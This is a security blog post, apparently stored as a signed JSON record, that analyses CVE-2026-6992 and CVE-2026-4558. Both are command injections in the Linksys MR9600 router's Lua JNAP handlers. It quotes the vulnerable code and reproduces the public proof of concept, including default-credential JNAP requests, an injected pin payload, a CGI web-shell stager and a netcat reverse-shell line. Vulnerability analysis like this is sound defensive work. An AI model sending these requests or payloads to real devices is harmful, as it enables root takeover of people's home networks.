-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## Three checks ask whether the request is asking the right question. None reads the answer.\n\n`btsmartconnect.lua` is the JNAP handler. The function the wire names is the same name in source:\n\n```lua\nfunction _M.btRequestGetSmartConnectStatus(sc, input)\n sc:readlock()\n\n local mode = sc:get_smartmode()\n if not bluetooth.isCentral(mode) then\n return 'ErrorBTUnsupportedMode'\n end\n\n if bluetooth.btCheckCentralWorking() then\n return 'ErrorBTCentralAlreadyWorking'\n end\n\n local status = sc:get_btgetsmartconnectstatus_status()\n if status == 'Running' then\n return 'ErrorBTGetSmartConnectStatusRequestIsAlreadyInProgress'\n end\n\n local ret = bluetooth.btGetSmartConnectStatus2(input.pin)\n if not ret then\n return 'ErrorBTRequestFailed'\n end\n\n return nil\nend\n```\n\nThe handler acquires a read lock. It fetches the smart mode and refuses if the radio is not in Central role. It refuses again if a central operation is already running. It refuses a third time if a previous status request has not completed. Each refusal returns a uniquely named error. The author thought carefully about which requests were legitimate.\n\nThe only line in the function that reads `input.pin` is the one that passes it to `bluetooth.btGetSmartConnectStatus2`. There is no length check, no character-set check, no type check. The handler did not assume the input was safe. The handler assumed the input was not its job.\n\n## The sink is `io.popen`. The shell script is downstream of the sink.\n\n`bluetooth.lua` holds the next layer of the chain:\n\n```lua\n_M.RUN_CENTRAL2_CMD = '/etc/init.d/run_central2.sh %s &'\n\nlocal function btRunCentralCommand2(option, value)\n assert(option)\n\n local requestId\n local command = option\n\n if value then\n command = command..' '..value\n end\n\n local file = io.popen(_M.RUN_CENTRAL2_CMD:format(command))\n if file then\n requestId = file:read()\n file:close()\n else\n return nil\n end\n\n return requestId\nend\n\nfunction _M.btGetSmartConnectStatus2(pin)\n return btRunCentralCommand2('-s', pin)\nend\n```\n\n`value` is the pin. `command` becomes the literal string `-s `. `RUN_CENTRAL2_CMD:format(command)` substitutes that string into the template and yields one final string. `io.popen` hands that string to `popen(3)`, which executes it through `/bin/sh -c`. The shell parses the string before the init script ever runs.\n\nA pin of `a; ls / > /tmp/x; #` produces this command line:\n\n```\n/bin/sh -c '/etc/init.d/run_central2.sh -s a; ls / > /tmp/x; # &'\n```\n\nThe shell reads three statements. The first runs the init script with the literal argument `a`. The second runs `ls / > /tmp/x`. The third is a comment, which suppresses the trailing `&` the Lua template would otherwise have placed at the end of the line. The injected payload therefore runs in the foreground; the harmless init script no longer detaches.\n\nThe init script the io.popen targets has a second bug. From `/etc/init.d/run_central2.sh`:\n\n```bash\n#!/bin/sh\nREQUEST_ID=$$_$(date -u +%s)\nOPTION=\"$1 $2\"\n...\n/usr/bin/btsetup_central $OPTION > $OUTFILE 2>/dev/null\n```\n\n`OPTION` concatenates the two positional arguments. The line that runs `btsetup_central` expands `$OPTION` without quotes. A pin reaching the script as `$2` containing shell metacharacters would inject a second time, into a second shell. Two interpreters, one above and one below.\n\nThe CVE description names `/etc/init.d/run_central2.sh` as the affected file. On that reading the natural patch is to quote `$OPTION` and call it done. Quoting `$OPTION` closes the second sink and leaves the first one open. The first sink is `io.popen` taking a single concatenated string. Lua's `io.popen` is a one-string API; the call always invokes `sh -c`. Closing the first sink means giving up on `io.popen` at this site and reaching for a fork-and-exec wrapper that takes an argument vector. Neither change has been made. Neither file has been touched since the firmware shipped.\n\n## The PoC is two requests. The credentials are the device default.\n\nThe published exploit is a Python script in [utmost3/cve issue #2](https://github.com/utmost3/cve/issues/2). It authenticates with `Basic YWRtaW46YWRtaW4=`, the base64 of `admin:admin`. The script will not work against a device whose owner has changed the password. The author chose those credentials because the device ships with them and many deployments never change them.\n\nThe first request switches the device to Master mode. The handler's first guard returns `ErrorBTUnsupportedMode` when the radio is in any other role:\n\n```\nPOST /JNAP/\nX-JNAP-Action: http://linksys.com/jnap/nodes/smartmode/SetDeviceMode\nX-JNAP-Authorization: Basic YWRtaW46YWRtaW4=\nContent-Type: application/json\n\n{\"mode\": \"Master\"}\n```\n\nThe second request carries the payload. The pin stages a CGI shell on the device's web root:\n\n```\nPOST /JNAP/\nX-JNAP-Action: http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectStatus\nX-JNAP-Authorization: Basic YWRtaW46YWRtaW4=\nContent-Type: application/json\n\n{\"pin\": \"a; ; #\"}\n```\n\n`` is a sequence of `echo ... >> /www/ui/1.0.99.206937/static/shell.cgi` writes that assembles a CGI script reading commands off stdin and dispatching them through `/bin/sh -c`. After the stager finishes, the PoC stops authenticating through JNAP entirely. It POSTs commands to `http://target:8080/ui/1.0.99.206937/static/shell.cgi` and reads their stdout off the response body. The reverse shell is one command through the new channel:\n\n```bash\nrm -f /tmp/.btsh\nmkfifo /tmp/.btsh\n/bin/sh -i &1 | /usr/bin/nc >/tmp/.btsh &\n```\n\nThe shell runs as root. `io.popen` was called from the lighttpd worker, which runs as root on this firmware. The web root, the JNAP API surface, and the init scripts all share that uid.\n\nThe CVSS vector says PR:H. The vector measures what the specification requires. The deployment measures what the device actually requires. Linksys ships the MR9600 with admin:admin and the management UI on the LAN. A device that has never been touched by its owner is, for this CVE's purposes, unauthenticated.\n\n## Issue #1 is the same shape four weeks earlier.\n\nThe same researcher filed [issue #1](https://github.com/utmost3/cve/issues/1) on March 8, 2026: CVE-2026-4558, command injection in `SmartConnect.lua`'s `smartConnectConfigure` handler. The vulnerable code is a single line:\n\n```lua\nos.execute('smcdb_cli update -s '..input.configApSsid..' -p '..input.configApPassphrase..' -l '..input.srpLogin..' -a '..input.srpPassword)\n```\n\nFour parameters concatenated into a shell string and handed to `os.execute`. The shape is the same as `btRequestGetSmartConnectStatus`: a JNAP handler reads named fields off the request body and pours them through string concatenation into a shell call. The device is the same. The firmware version is the same. The researcher is the same. The vendor is the same.\n\nBoth CVE records carry the same closing sentence: *The vendor was contacted early about this disclosure but did not respond in any way.*\n\nThis is the [Design Debt Driver](/patterns/design-debt-driver) shape in JNAP form, the same architecture [reNgine ships as command-injection-by-default](/posts/rengine-cve-2023-50094-is-a-drawer) in Python. Each Lua action module on the MR9600 reads input fields and concatenates them into a shell command handed to `os.execute` or `io.popen`. The functions are named for the domain they operate on: Bluetooth, Smart Connect, configuration, status. The sinks are all the shell. There is no shared sanitizer module that any of these handlers import. Each module is its own copy of the same antipattern.\n\nThe two affected modules live next to each other in `/usr/local/lib/lua/5.1/`. CVE-2026-4558 names `SmartConnect.lua`. CVE-2026-6992 names `btsmartconnect.lua`. They are independent files implementing different JNAP action categories, and the same researcher walked from one to the other in four weeks. The pattern in this codebase is not a property of either file. It is a property of the directory: every Lua action module on the device is allowed to construct a shell command from its inputs, and the firmware's lighttpd configuration grants every one of them root.\n\nThe two CVEs are the two the researcher chose to file. The next instance is whichever handler the next researcher reads.\n\n## The vendor's silence is on the record.\n\nThe CVE record is the public document of how Linksys handled both disclosures. Both records carry the same factual claim: contacted early, no response. Neither carries a vendor advisory link. Neither carries a fixed-version reference. The MR9600 firmware download page serves 2.0.6.206937 as the current build. Both CVE assignments arrived through a CNA that documents vendor non-response by routine; the wording is boilerplate because the experience is.\n\nThe researcher's choice of GitHub Issues as the publication venue is itself a fact about the case. Issues are not how exploit disclosures are typically routed; repositories are. The researcher used Issues twice, on the same personal repository, because the artifact under disclosure was no longer just the PoC. The analysis sits in the Issue body. The receipt that would normally close the analysis, an acknowledgment, a CVE-assignment confirmation from the vendor, a patch reference, is missing in both cases because Linksys did not write back.\n\nA vendor that does not respond to a researcher is not the same thing as a vendor that has decided a bug does not warrant a fix. The first is process. The second is judgment. The CVE record does not tell the reader which one Linksys has performed, and the CVE record is the only document that exists. Linksys's decision to leave the record at that is also a position.\n\nThe MR9600 launched in 2020. It retailed near four hundred dollars as a Wi-Fi 6 flagship. It is still sold by major retailers. The default admin password is the same as it was at launch. The setup wizard permits a configuration in which the JNAP API is reachable on the LAN with the shipped credentials. The owner of the device has no notification channel through which Linksys would tell them either CVE exists.\n\nThe substrate the CVEs come from is the JNAP architectural decision to let every privileged action be a Lua handler that concatenates input into a shell command. Patches against that substrate would have to come from Linksys.\n\nPoC: [utmost3/cve issue #2](https://github.com/utmost3/cve/issues/2)\n","closing_line":"The pin is not a pin. The pin is a shell argument. Linksys has not said otherwise.","hook_md":"The PoC for CVE-2026-6992 is not a repository. It is a GitHub Issue, filed on the researcher's personal staging tracker beside Issue #1, another Linksys MR9600 command injection from the same researcher, filed four weeks earlier. Both CVE records carry the same closing sentence: *The vendor was contacted early about this disclosure but did not respond in any way.* The Lua handler that produces this CVE checks the radio mode, the busy state, and an in-progress flag before reaching the shell. None of the three checks reads the input.","post_id":315,"slug":"linksys-mr9600-cve-2026-6992-pin-is-shell-argument","title":"CVE-2026-6992: Linksys's Smart Connect Pin Is a Shell Argument","type":"initial","unreadable_sentence":"The handler did not assume the input was safe. The handler assumed the input was not its job."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCahXsxgAKCRDeZjl4jgkQ Joi/AQD7KeaUDN33Ghmda50/pm/Awo4fGjaGQqMeEj+WkLivtQD+P9hgkvGWL7xg 4Q8OvfjG6Oruoq3ktEya3zryOOm2xgM= =3xHw -----END PGP SIGNATURE-----